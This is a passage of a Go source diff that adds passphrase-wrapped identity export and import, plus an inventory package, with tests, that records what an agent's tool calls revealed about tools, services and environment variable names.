{ + return key{}, err + } + var k key + if err := decodeKey(strings.TrimSpace(string(raw)), &k); err != nil { + return key{}, fmt.Errorf("identity: %s is not a valid key file", legacyKeyFile) + } + return k, nil +} + +// write puts v as JSON at target through a private temp file and publish, +// which is fsreplace.Rename to replace and os.Link to refuse replacing. +func write(target string, v any, publish func(from, to string) error) error { + raw, err := json.Marshal(v) + if err != nil { + return err + } + tmp, err := privateTemp(filepath.Dir(target), raw) + if err != nil { + return err + } + defer os.Remove(tmp) + return publish(tmp, target) +} + +func privateTemp(dir string, data []byte) (string, error) { + f, err := os.CreateTemp(dir, ".tmp-*") + if err != nil { + return "", err + } + err = errors.Join(f.Chmod(0o600), writeSync(f, data)) + if err != nil { + os.Remove(f.Name()) + return "", err + } + return f.Name(), nil +} + +func writeSync(f *os.File, data []byte) error { + _, werr := f.Write(data) + serr := f.Sync() + return errors.Join(werr, serr, f.Close()) +} diff --git a/internal/identity/testdata/device.golden.json b/internal/identity/testdata/device.golden.json new file mode 100644 index 0000000000..37f5eb3a0c --- /dev/null +++ b/internal/identity/testdata/device.golden.json @@ -0,0 +1 @@ +{"V":1,"device":"00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff","created":1759049990000,"sig":"cafe"} diff --git a/internal/identity/testdata/export.golden.json b/internal/identity/testdata/export.golden.json new file mode 100644 index 0000000000..30e42f0b50 --- /dev/null +++ b/internal/identity/testdata/export.golden.json @@ -0,0 +1 @@ +{"V":1,"kdf":"argon2id","t":3,"m_kib":65536,"p":4,"salt":"00112233445566778899aabbccddeeff","nonce":"00112233445566778899aabbccddeeff0011223344556677","data":"cafe"} diff --git a/internal/identity/testdata/identity.golden.json b/internal/identity/testdata/identity.golden.json new file mode 100644 index 0000000000..424dc3eb99 --- /dev/null +++ b/internal/identity/testdata/identity.golden.json @@ -0,0 +1 @@ +{"V":1,"signing_seed":"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f","dedup_secret":"404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f","cell_key":"808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f"} diff --git a/internal/identity/wrap.go b/internal/identity/wrap.go new file mode 100644 index 0000000000..a3f271c78e --- /dev/null +++ b/internal/identity/wrap.go @@ -0,0 +1,142 @@ +package identity + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + + "golang.org/x/crypto/argon2" + "golang.org/x/crypto/chacha20poly1305" +) + +// ErrWrongPassphrase reports an export that did not open. A wrong passphrase +// and a damaged blob look the same by design. +var ErrWrongPassphrase = errors.New("identity: wrong passphrase, or the export is damaged") + +// wrapped is the export: the identity document sealed under a key stretched +// from a passphrase. The cost parameters travel with it so they can grow. +type wrapped struct { + V uint16 `json:"V"` + KDF string `json:"kdf"` + Time uint32 `json:"t"` + MemKiB uint32 `json:"m_kib"` + Threads uint8 `json:"p"` + Salt string `json:"salt"` + Nonce string `json:"nonce"` + Data string `json:"data"` +} + +const ( + kdfName = "argon2id" + wrapLabel = "codeaf/identity-export/v1" + maxMemKiB = 1 << 20 // refuse an export that asks for more than 1 GiB + maxTime = 16 +) + +// cost is what new exports use; imports honour whatever the blob names, within +// the maxima above. +var cost = wrapped{Time: 3, MemKiB: 64 * 1024, Threads: 4} + +func (w wrapped) stretch(passphrase string, salt []byte) []byte { + return argon2.IDKey([]byte(passphrase), salt, w.Time, w.MemKiB, w.Threads, keySize) +} + +func (w wrapped) valid() error { + if w.V != version || w.KDF != kdfName { + return errors.New("identity: not an identity export") + } + if w.Time == 0 || w.Time > maxTime || w.MemKiB == 0 || w.MemKiB > maxMemKiB || w.Threads == 0 { + return errors.New("identity: export asks for unreasonable key stretching") + } + return nil +} + +// Export wraps id under passphrase into a blob that is safe to copy anywhere. +func Export(id Identity, passphrase string) ([]byte, error) { + plain, err := json.Marshal(id.document()) + if err != nil { + return nil, err + } + w := cost + w.V, w.KDF = version, kdfName + salt, nonce := make([]byte, 16), make([]byte, chacha20poly1305.NonceSizeX) + if _, err := rand.Read(salt); err != nil { + return nil, err + } + if _, err := rand.Read(nonce); err != nil { + return nil, err + } + aead, err := chacha20poly1305.NewX(w.stretch(passphrase, salt)) + if err != nil { + return nil, err + } + w.Salt, w.Nonce = hex.EncodeToString(salt), hex.EncodeToString(nonce) + w.Data = hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(wrapLabel))) + return json.Marshal(w) +} + +// Import opens an export made by Export. +func Import(blob []byte, passphrase string) (Identity, error) { + var w wrapped + if err := json.Unmarshal(blob, &w); err != nil { + return Identity{}, fmt.Errorf("identity: not an identity export: %w", err) + } + if err := w.valid(); err != nil { + return Identity{}, err + } + plain, err := w.open(passphrase) + if err != nil { + return Identity{}, err + } + var d document + if err := json.Unmarshal(plain, &d); err != nil { + return Identity{}, ErrWrongPassphrase + } + return fromDocument(d) +} + +func (w wrapped) open(passphrase string) ([]byte, error) { + salt, err1 := hex.DecodeString(w.Salt) + nonce, err2 := hex.DecodeString(w.Nonce) + data, err3 := hex.DecodeString(w.Data) + if err := errors.Join(err1, err2, err3); err != nil || len(nonce) != chacha20poly1305.NonceSizeX { + return nil, errors.New("identity: malformed export") + } + aead, err := chacha20poly1305.NewX(w.stretch(passphrase, salt)) + if err != nil { + return nil, err + } + plain, err := aead.Open(nil, nonce, data, []byte(wrapLabel)) + if err != nil { + return nil, ErrWrongPassphrase + } + return plain, nil +} + +// ErrDifferent reports that the home already holds another identity. +var ErrDifferent = errors.New("identity: this machine already has a different identity; pass --replace to overwrite it") + +// Adopt makes next the identity under home. It refuses to overwrite a +// different identity unless replace is set, and says whether it did. +func Adopt(home string, next Identity, replace bool) (replaced bool, err error) { + cur, err := Load(home) + if errors.Is(err, ErrNone) && hasLegacyKey(home) { + cur, err = ensureRoot(home) // an unmigrated vault key is an identity too + } + if err != nil && !errors.Is(err, ErrNone) { + return false, err + } + replaced = err == nil && cur.ID() != next.ID() + if replaced && !replace { + return false, ErrDifferent + } + if err := Save(home, next); err != nil { + return false, err + } + if _, err := deviceFor(home, next); err != nil { // this machine's own device under the imported root + return replaced, err + } + return replaced, EndSolo(home) // taking another's identity is joining a fleet +} diff --git a/internal/inventory/bounds.go b/internal/inventory/bounds.go new file mode 100644 index 0000000000..c5fcb9bde1 --- /dev/null +++ b/internal/inventory/bounds.go @@ -0,0 +1,76 @@ +package inventory + +// The record travels in every seal, so each list of it has a ceiling. A list +// over its ceiling keeps its newest entries and counts the rest in Omitted, so +// the brief can say "and N more" without the record growing with the work. +const ( + maxRunning = 16 + maxWithheld = 32 + maxDetached = 8 + // maxCommand cuts one recorded command line, in bytes. + maxCommand = 240 +) + +// The names of the lists, as Omitted keys them. +const ( + ListRunning = "running" + ListWithheld = "withheld" + ListDetached = "detached" +) + +// newest keeps the last max entries of list, which is ordered oldest first, and +// says how many it dropped. +func newest[T any](list []T, max int) ([]T, int) { + if len(list) <= max { + return list, 0 + } + return list[len(list)-max:], len(list) - max +} + +// setOmitted records how many entries of one list were cut, and forgets the +// count when none were. +func (inv *Inventory) setOmitted(list string, n int) { + if n == 0 { + delete(inv.Omitted, list) + if len(inv.Omitted) == 0 { + inv.Omitted = nil + } + return + } + if inv.Omitted == nil { + inv.Omitted = map[string]int{} + } + inv.Omitted[list] = n +} + +// SetRunning replaces the running list whole: a process that stopped leaves. +func (inv *Inventory) SetRunning(list []Running) { + kept, dropped := newest(list, maxRunning) + inv.Running = kept + inv.setOmitted(ListRunning, dropped) +} + +// SetDetached replaces the detached list, cut to its bound. +func (inv *Inventory) SetDetached(list []Detached) { + kept, dropped := newest(list, maxDetached) + inv.Detached = kept + inv.setOmitted(ListDetached, dropped) +} + +// SetWithheld replaces the entries whose path own names, and keeps the others. +// The seal's own folders and each task copy's are written by different steps of +// the same seal, and neither may erase the other's. +func (inv *Inventory) SetWithheld(own func(path string) bool, list []Withheld) { + var all []Withheld + for _, w := range inv.Withheld { + if !own(w.Path) { + all = append(all, w) + } + } + kept, dropped := newest(append(all, list...), maxWithheld) + inv.Withheld = kept + inv.setOmitted(ListWithheld, dropped) +} + +// OmittedOf is how many entries of a list a bound cut at the last write. +func (inv Inventory) OmittedOf(list string) int { return inv.Omitted[list] } diff --git a/internal/inventory/detached.go b/internal/inventory/detached.go new file mode 100644 index 0000000000..56ee2e571e --- /dev/null +++ b/internal/inventory/detached.go @@ -0,0 +1,51 @@ +package inventory + +import "regexp" + +// hint is one kind of command that starts something outside its own process +// tree, and the command that ends it. It is data: a row is added by naming two +// patterns, and nothing else changes. A hint only ever adds a line to Detached; +// it never gates or runs anything. +type hint struct { + start, stop *regexp.Regexp +} + +func row(start, stop string) hint { + return hint{regexp.MustCompile(start), regexp.MustCompile(stop)} +} + +// detachedHints is the five kinds the record knows. +var detachedHints = []hint{ + row(`^docker\s+compose\b.*\bup\b`, `^docker\s+compose\b.*\b(down|stop|rm)\b`), + row(`^docker\s+run\b.*\s(-d|--detach)\b`, `^docker\s+(stop|rm|kill)\b`), + row(`^docker\s+start\b`, `^docker\s+(stop|rm|kill)\b`), + row(`^brew\s+services\s+start\b`, `^brew\s+services\s+stop\b`), + row(`^systemctl\b.*\bstart\b`, `^systemctl\b.*\bstop\b`), +} + +// applyDetached folds one command that succeeded into the list. A start +// replaces the earlier start of its own kind, so the list holds the latest of +// each; a stop removes the start of its kind, so a service that was brought +// down is not reported as left up. A command that is neither changes nothing. +func applyDetached(list []Detached, command, cwd string) []Detached { + for _, h := range detachedHints { + switch { + case h.start.MatchString(command): + return append(withoutKind(list, h), Detached{Command: command, Cwd: cwd}) + case h.stop.MatchString(command): + return withoutKind(list, h) + } + } + return list +} + +// withoutKind is list without the starts a hint stands for. +func withoutKind(list []Detached, h hint) []Detached { + var out []Detached + for _, d := range list { + if !h.start.MatchString(d.Command) { + out = append(out, d) + } + } + return out +} diff --git a/internal/inventory/inventory.go b/internal/inventory/inventory.go new file mode 100644 index 0000000000..bad0d4d7b8 --- /dev/null +++ b/internal/inventory/inventory.go @@ -0,0 +1,108 @@ +// Package inventory records what a cell's tool calls revealed about its +// environment: which tools ran, which services were left alive, the platform, +// and the names (never the values) of environment variables +// (docs/ARCHITECTURE.md section 8.4, SCHEMAS.md section 7). +// +// Only this package writes .cell/env/inventory.json (law L13). The executor +// tells an [Observer] about each call; the model can add lower-trust notes +// through [Store.Annotate], which touch nothing but the annotations field. +package inventory + +import ( + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Path is the cell-relative location of the inventory file. +const Path = cell.EnvPath + "/inventory.json" + +const schemaV = 1 + +// Tool is one executable a call resolved. BinaryHash identifies the bytes, so +// it means the same on another machine; a machine path would not. +type Tool struct { + Name string `json:"name"` + BinaryHash string `json:"binary_hash"` + VersionString string `json:"version_string,omitempty"` +} + +// Service is a process a call left alive. Whether it is stateful is derived: +// only a data directory inside the cell travels with the chat. +type Service struct { + Name string `json:"name"` + Version string `json:"version,omitempty"` + Ports []int `json:"ports"` + DataDir string `json:"data_dir,omitempty"` +} + +// Stateful reports whether the service keeps data in the cell. +func (s Service) Stateful() bool { return s.DataDir != "" } + +// Platform is the machine that observed the tools. +type Platform struct { + OS string `json:"os"` + Arch string `json:"arch"` +} + +// Running is a command that was alive at a seal: what the chat had going that +// another machine will not have. Cwd is cell-relative (L1) and "." is the root; +// Ports are the TCP ports it listened on, where the platform could say; Since is +// display only and orders nothing. +type Running struct { + Command string `json:"command"` + Cwd string `json:"cwd,omitempty"` + Ports []int `json:"ports,omitempty"` + Since int64 `json:"since,omitempty"` +} + +// Withheld is a folder the seal left out because a lockfile that does travel +// rebuilds it. Lock is that lockfile. MadeBy and Cwd say which command made the +// folder, and are empty when the folder was there before the chat or came from +// another terminal. An entry with a Reason and no Lock is a single path set apart +// (a file this machine could not read, a name it could not keep): nothing +// rebuilds it, and Reason says why. A reader that does not know Reason ignores it. +type Withheld struct { + Path string `json:"path"` + Lock string `json:"lock,omitempty"` + Reason string `json:"reason,omitempty"` + MadeBy string `json:"made_by,omitempty"` + Cwd string `json:"cwd,omitempty"` +} + +// Detached is a container or service a command started outside its own process +// tree, so no process of the chat stands for it. It is a hint that something was +// started, never a promise about what it holds. +type Detached struct { + Command string `json:"command"` + Cwd string `json:"cwd,omitempty"` +} + +// Inventory is .cell/env/inventory.json. V is first so readers can branch on it. +type Inventory struct { + V uint16 `json:"V"` + Tools []Tool `json:"tools,omitempty"` + Services []Service `json:"services,omitempty"` + Platform Platform `json:"platform"` + // Workspace is the folder the seal was taken in, so a machine that receives + // the chat can say the folder changed. It is display only: nothing is ever + // resolved against it (L1). + Workspace string `json:"workspace,omitempty"` + // ChatDir is the chat's own folder when the seal carried files out of it + // (job logs, saved tool output, task journals). The transcript names those + // files by the absolute path they had there, so a machine that receives the + // chat can say where they are now. Display only, like Workspace. + ChatDir string `json:"chat_dir,omitempty"` + Lockfiles []string `json:"lockfiles,omitempty"` + EnvVarNames []string `json:"env_var_names,omitempty"` + // Running, Withheld and Detached are what the chat left behind that a seal + // does not carry (docs/STAGE-1-CONTRACTS.md section 19). The harness writes + // them from what it sees and nothing else does (L13); Omitted counts, per + // list, the entries a bound cut. + Running []Running `json:"running,omitempty"` + Withheld []Withheld `json:"withheld,omitempty"` + Detached []Detached `json:"detached,omitempty"` + Omitted map[string]int `json:"omitted,omitempty"` + // Tests is the last test run a call finished, nil when none was. + Tests *TestRun `json:"tests,omitempty"` + Hints map[string]string `json:"hints,omitempty"` + Annotations map[string]map[string]any `json:"annotations,omitempty"` +} diff --git a/internal/inventory/inventory_test.go b/internal/inventory/inventory_test.go new file mode 100644 index 0000000000..c25b3daced --- /dev/null +++ b/internal/inventory/inventory_test.go @@ -0,0 +1,226 @@ +package inventory + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +// rig is a cell root, a directory holding one fake tool, and an observer whose +// version probe counts its calls. +type rig struct { + root, bin string + store *Store + obs *Observer + probes atomic.Int32 +} + +func newRig(t *testing.T, tools ...string) *rig { + t.Helper() + r := &rig{root: t.TempDir(), bin: t.TempDir()} + for _, name := range tools { + if err := os.WriteFile(filepath.Join(r.bin, name), []byte("#!/bin/sh\n"+name), 0o755); err != nil { + t.Fatal(err) + } + } + var err error + if r.store, err = Open(r.root); err != nil { + t.Fatal(err) + } + probes := Probes{"node": {"--version"}} + r.obs = NewObserver(r.store, probes, func(string, []string) string { + r.probes.Add(1) + return "v22.4.0" + }) + return r +} + +func (r *rig) call(argv0 string, env ...string) (executor.ExecRequest, executor.ExecResult) { + return executor.ExecRequest{Argv: []string{argv0, "x"}, Env: append([]string{"PATH=" + r.bin}, env...)}, executor.ExecResult{} +} + +func (r *rig) observe(argv0 string, res func(*executor.ExecResult), env ...string) { + req, out := r.call(argv0, env...) + if res != nil { + res(&out) + } + r.obs.Observe(req, out) +} + +func TestObserverRecordsToolOnce(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + r.observe("node", nil) + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].Name != "node" || tools[0].BinaryHash == "" || tools[0].VersionString != "v22.4.0" { + t.Fatalf("tools = %+v", tools) + } +} + +func TestVersionProbeRunsOncePerBinaryHash(t *testing.T) { + r := newRig(t, "node") + for i := 0; i < 3; i++ { + r.observe("node", nil) + } + if n := r.probes.Load(); n != 1 { + t.Fatalf("probe ran %d times, want 1", n) + } + // A restarted observer learns the probed hashes from the file. + again := NewObserver(r.store, Probes{"node": {"--version"}}, func(string, []string) string { + r.probes.Add(1) + return "other" + }) + req, res := r.call("node") + again.Observe(req, res) + if n := r.probes.Load(); n != 1 { + t.Fatalf("probe ran again after reopen: %d", n) + } + // New bytes are a new hash and are probed again. + if err := os.WriteFile(filepath.Join(r.bin, "node"), []byte("#!/bin/sh\nnew"), 0o755); err != nil { + t.Fatal(err) + } + again.Observe(req, res) + if n := r.probes.Load(); n != 2 { + t.Fatalf("changed binary not probed: %d", n) + } +} + +func TestToolWithoutProbeKeepsHashOnly(t *testing.T) { + r := newRig(t, "make") + r.observe("make", nil) + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].VersionString != "" || r.probes.Load() != 0 { + t.Fatalf("tools = %+v probes = %d", tools, r.probes.Load()) + } +} + +func TestServicesAreMerged(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, Ports: []int{3000}}} + }) + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 8, Ports: []int{3001}, DataDir: "var/data"}} + }) + svcs := r.store.Snapshot().Services + if len(svcs) != 1 { + t.Fatalf("services = %+v", svcs) + } + s := svcs[0] + if s.Name != "node" || s.Version != "v22.4.0" || len(s.Ports) != 2 || !s.Stateful() { + t.Fatalf("service = %+v", s) + } +} + +func TestAbsoluteDataDirIsDropped(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, DataDir: "/var/lib/pg"}} + }) + if s := r.store.Snapshot().Services[0]; s.Stateful() { + t.Fatalf("absolute data dir kept: %+v", s) + } +} + +func TestEnvNamesOnly(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil, "DATABASE_URL=postgres://u:hunter2@h/db", "TOKEN=s3cret") + raw := readFile(t, r) + if strings.Contains(raw, "hunter2") || strings.Contains(raw, "s3cret") { + t.Fatalf("a value reached the file:\n%s", raw) + } + names := r.store.Snapshot().EnvVarNames + if strings.Join(names, ",") != "DATABASE_URL,PATH,TOKEN" { + t.Fatalf("names = %v", names) + } +} + +func TestWriteIsAtomicAndUnchangedIsNotRewritten(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + dir := filepath.Dir(filepath.Join(r.root, filepath.FromSlash(Path))) + entries, _ := os.ReadDir(dir) + if len(entries) != 1 || entries[0].Name() != "inventory.json" { + t.Fatalf("temp files left behind: %v", entries) + } + before, _ := os.Stat(filepath.Join(dir, "inventory.json")) + r.observe("node", nil) + after, _ := os.Stat(filepath.Join(dir, "inventory.json")) + if !after.ModTime().Equal(before.ModTime()) { + t.Fatal("an identical observation rewrote the file") + } +} + +func TestPersistedFileHasNoAbsolutePathsAndVersionFirst(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, Ports: []int{1}, DataDir: "var/pg"}} + }) + raw := []byte(readFile(t, r)) + // The fake tool's own PATH entries live in the test, not in the file. + if bad := lawcheck.NoAbsolutePaths(raw); len(bad) > 0 { + t.Fatalf("absolute paths: %q", bad) + } + if !lawcheck.VersionFirst([]byte(strings.Join(strings.Fields(string(raw)), ""))) { + t.Fatalf("V not first:\n%s", raw) + } +} + +func TestRelativeScriptIsNotATool(t *testing.T) { + r := newRig(t) + r.observe("./run.sh", nil) + if n := len(r.store.Snapshot().Tools); n != 0 { + t.Fatalf("recorded %d tools for a cell script", n) + } +} + +func TestAnnotateTouchesOnlyAnnotations(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + before := r.store.Snapshot() + if err := r.store.Annotate("postgres", map[string]any{"optional": true}); err != nil { + t.Fatal(err) + } + after := r.store.Snapshot() + if after.Annotations["postgres"]["optional"] != true { + t.Fatalf("annotation lost: %+v", after.Annotations) + } + after.Annotations = nil + before.Annotations = nil + if !equal(before, after) { + t.Fatalf("Annotate changed another field:\n%+v\n%+v", before, after) + } +} + +func readFile(t *testing.T, r *rig) string { + t.Helper() + b, err := os.ReadFile(filepath.Join(r.root, filepath.FromSlash(Path))) + if err != nil { + t.Fatal(err) + } + return string(b) +} + +// A tool run inside `bash -c` is the shell's child, and the inventory learns it +// from the shell call's command line at the seat's boundary. +func TestAToolRunByBashIsObserved(t *testing.T) { + r := newRig(t, "jq") + t.Setenv("PATH", r.bin) + seat := executor.Watching(executor.Host, r.obs) + args, _ := json.Marshal(map[string]string{"command": "cd sub && jq . a.json | wc -l"}) + err := seat.Around(context.Background(), executor.Call{Tool: "bash", Args: args}, func() ([]byte, bool) { return nil, false }) + if err != nil { + t.Fatal(err) + } + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].Name != "jq" { + t.Fatalf("the inventory holds %+v, want jq alone", tools) + } +} diff --git a/internal/inventory/law_test.go b/internal/inventory/law_test.go new file mode 100644 index 0000000000..05c30ff893 --- /dev/null +++ b/internal/inventory/law_test.go @@ -0,0 +1,126 @@ +package inventory + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "reflect" + "strconv" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// ── THE L13 LAW ───────────────────────────────────────────────────────────── +// +// Only the harness writes .cell/env/inventory.json, and only through this +// package (docs/ARCHITECTURE.md section 13). A manifest that a repo, a cell or +// the model can write is a channel for installing software, so: +// +// (a) no other package may name the file: any string literal containing +// "inventory.json" outside internal/inventory is a violation; +// (b) the executor refuses a tool call that reaches into .cell/ by directory +// or by argument, so a tool call cannot write it. +const inventoryFile = "inventory.json" + +// namesInventory returns the position of each string literal in src that +// contains the inventory file name. +func namesInventory(t *testing.T, filename, src string) []string { + t.Helper() + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, filename, src, 0) + if err != nil { + t.Fatal(err) + } + var hits []string + ast.Inspect(f, func(n ast.Node) bool { + lit, ok := n.(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + return true + } + if s, err := strconv.Unquote(lit.Value); err == nil && strings.Contains(s, inventoryFile) { + hits = append(hits, fset.Position(lit.Pos()).String()) + } + return true + }) + return hits +} + +func TestL13CheckerBites(t *testing.T) { + src := "package p\nvar _ = \".cell/env/inventory.json\"\nvar _ = `x/inventory.json`" + if hits := namesInventory(t, "f.go", src); len(hits) != 2 { + t.Fatalf("want 2 hits, got %v", hits) + } + if hits := namesInventory(t, "f.go", "package p\nvar _ = \"meta.json\""); len(hits) != 0 { + t.Fatalf("false hit: %v", hits) + } +} + +func TestL13OnlyTheInventoryPackageNamesTheFile(t *testing.T) { + root := repoRoot(t) + own := filepath.Join(root, "internal", "inventory") + string(filepath.Separator) + for _, dir := range []string{"internal", "cmd"} { + err := filepath.WalkDir(filepath.Join(root, dir), func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(p, ".go") || strings.HasSuffix(p, "_test.go") || strings.HasPrefix(p, own) { + return nil + } + src, rerr := os.ReadFile(p) + if rerr != nil { + return rerr + } + for _, hit := range namesInventory(t, p, string(src)) { + t.Errorf("%s names %s outside internal/inventory", hit, inventoryFile) + } + return nil + }) + if err != nil { + t.Fatal(err) + } + } +} + +// C18 keeps the cell-state refusal on real cell workspaces while ordinary +// host work, which owns no .cell directory, keeps its existing shell behavior. +func TestL13ExecutorRefusesCallsIntoTheCellDirectory(t *testing.T) { + ex := executor.Local{Root: t.TempDir()} + if err := os.MkdirAll(filepath.Join(ex.Root, ".cell", "env"), 0o700); err != nil { + t.Fatal(err) + } + for _, req := range []executor.ExecRequest{ + {Argv: []string{"true"}, Dir: ".cell/env"}, + {Argv: []string{"tee", ".cell/env/" + inventoryFile}}, + {Argv: []string{"cp", "x", "./.cell/env/" + inventoryFile}}, + {Argv: []string{"sh", "-c", "echo {} > .cell/env/" + inventoryFile}}, + {Argv: []string{"tool", "--out=.cell/env/" + inventoryFile}}, + {Argv: []string{"tee", "/some/cell/.cell/env/" + inventoryFile}}, + } { + if _, err := ex.Exec(t.Context(), req, nil); err == nil { + t.Errorf("executor ran %v", req) + } + } + // A path that merely resembles the directory is fine. + if _, err := ex.Exec(t.Context(), executor.ExecRequest{Argv: []string{"true", "my.cell/x", ".cellar"}}, nil); err != nil { + t.Errorf("executor refused a look-alike: %v", err) + } +} + +func repoRoot(t *testing.T) string { + t.Helper() + dir, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for ; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir + } + } + t.Fatal("go.mod not found") + return "" +} + +func equal(a, b Inventory) bool { return reflect.DeepEqual(a, b) } diff --git a/internal/inventory/live.go b/internal/inventory/live.go new file mode 100644 index 0000000000..2b246a032a --- /dev/null +++ b/internal/inventory/live.go @@ -0,0 +1,148 @@ +package inventory + +import ( + "fmt" + "sort" + "strings" + "sync" + "time" + "unicode/utf8" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// Probe asks the machine about a process group. It is an interface so a test +// can say which groups are alive without starting any. +type Probe interface { + Alive(pgid int) bool + Ports(pgid int) []int +} + +// hostProbe asks this machine's own process table. +type hostProbe struct{} + +func (hostProbe) Alive(pgid int) bool { return processgroup.Alive(pgid) } +func (hostProbe) Ports(pgid int) []int { return executor.GroupPorts(pgid) } + +// Live is the commands a session started that may still be running. It is fed +// from two places that see different processes: the job registry, which starts +// background jobs, and the executor's own account of a call that left a process +// behind. It holds no verdict: whether one is alive is asked when the record is +// written, because a process that was killed from outside has told nobody. +type Live struct { + mu sync.Mutex + now func() time.Time + items map[string]liveItem +} + +type liveItem struct { + command string + dir string + pgid int + since int64 +} + +// NewLive makes an empty set that stamps each command with the clock's time. +func NewLive(now func() time.Time) *Live { + if now == nil { + now = time.Now + } + return &Live{now: now, items: map[string]liveItem{}} +} + +var _ executor.Lifecycle = (*Live)(nil) + +func jobKey(id int) string { return fmt.Sprintf("job:%d", id) } +func groupKey(pgid int) string { return fmt.Sprintf("group:%d", pgid) } + +// put stores the command under key. A process group is one thing however many +// sites saw it (a foreground call that was then made a job), so an earlier item +// for the same group is replaced rather than listed twice. +func (l *Live) put(key string, item liveItem) { + l.mu.Lock() + defer l.mu.Unlock() + for other, seen := range l.items { + if seen.pgid == item.pgid { + delete(l.items, other) + } + } + item.since = l.now().UnixMilli() + l.items[key] = item +} + +// Started implements executor.Lifecycle. +func (l *Live) Started(j executor.Job) { + l.put(jobKey(j.ID), liveItem{command: j.Command, dir: j.Dir, pgid: j.PGID}) +} + +// Ended implements executor.Lifecycle: a job that ended, or was killed, leaves. +func (l *Live) Ended(id int) { + l.mu.Lock() + defer l.mu.Unlock() + delete(l.items, jobKey(id)) +} + +// Left records a process group a call left running when it returned. +func (l *Live) Left(s executor.Service, dir string) { + l.put(groupKey(s.PGID), liveItem{command: strings.Join(s.Argv, " "), dir: dir, pgid: s.PGID}) +} + +// Alive is the commands whose process group is running now, oldest first, with +// the ports each listens on and their command lines cleaned of secrets. A group +// the probe finds gone is dropped for good. +func (l *Live) Alive(probe Probe) []Running { + l.mu.Lock() + defer l.mu.Unlock() + var out []Running + for key, item := range l.items { + if !probe.Alive(item.pgid) { + delete(l.items, key) + continue + } + out = append(out, Running{Command: Cleaned(item.command), Cwd: Cwd(item.dir), Ports: probe.Ports(item.pgid), Since: item.since}) + } + sort.Slice(out, func(a, b int) bool { + if out[a].Since != out[b].Since { + return out[a].Since < out[b].Since + } + return out[a].Command < out[b].Command + }) + return out +} + +// Cleaned is a command line as it may be recorded: on one line, secrets +// replaced, and cut to the bound at a character boundary. A secret never enters +// the record (L3). It is one line because a script's line breaks would otherwise +// reach the card a person reads, which shows the first line and loses the rest. +func Cleaned(command string) string { + line := keys.Clean(oneLine(command)) + if len(line) <= maxCommand { + return line + } + cut := maxCommand + for cut > 0 && !utf8.RuneStart(line[cut]) { + cut-- + } + return line[:cut] +} + +// oneLine joins the lines of a script with "; ", dropping blank ones. +func oneLine(command string) string { + var lines []string + for _, line := range strings.Split(command, "\n") { + if line = strings.TrimSpace(line); line != "" { + lines = append(lines, line) + } + } + return strings.Join(lines, "; ") +} + +// Cwd is a folder as the record spells it: cell-relative, with "." for the root. +func Cwd(dir string) string { + if dir == "" { + return "." + } + return dir +} diff --git a/internal/inventory/observer.go b/internal/inventory/observer.go new file mode 100644 index 0000000000..6159c570ba --- /dev/null +++ b/internal/inventory/observer.go @@ -0,0 +1,317 @@ +package inventory + +import ( + "crypto/sha256" + "encoding/hex" + "io" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Observer turns executed calls into inventory facts. It implements +// executor.Observer and never fails a call: an observation that cannot be +// stored is dropped, because the inventory is a record, not a gate. +type Observer struct { + store *Store + probes Probes + probe Prober + live *Live + procs Probe + // workspace is the folder this observer's calls run in, stamped into the record + // at each refresh so a machine that takes the chat over can say it moved. + workspace string + + mu sync.Mutex + hashes map[fileKey]string // binary hash by path and mtime + probed map[string]string // version by binary hash, present once probed +} + +type fileKey struct { + path string + mtime time.Time +} + +// NewObserver watches calls on behalf of store. A nil probes uses +// DefaultProbes; a nil probe runs the binary. +func NewObserver(store *Store, probes Probes, probe Prober) *Observer { + if probes == nil { + probes = DefaultProbes + } + if probe == nil { + probe = execProbe + } + o := &Observer{store: store, probes: probes, probe: probe, live: NewLive(nil), procs: hostProbe{}, + hashes: map[fileKey]string{}, probed: map[string]string{}} + for _, t := range store.Snapshot().Tools { + o.probed[t.BinaryHash] = t.VersionString + } + return o +} + +var ( + _ executor.Observer = (*Observer)(nil) + _ executor.Lifecycle = (*Observer)(nil) +) + +// Observe records the tool the call ran, the services it left alive, the names +// of the variables it was given, and whether the command started something that +// outlives it. A command that failed started nothing. +func (o *Observer) Observe(req executor.ExecRequest, res executor.ExecResult) { + tool, ok := o.tool(req) + for _, s := range res.Services { + o.live.Left(s, req.Dir) + } + _ = o.store.Update(func(inv *Inventory) { + if ok { + putTool(inv, tool) + } + for _, s := range res.Services { + putService(inv, 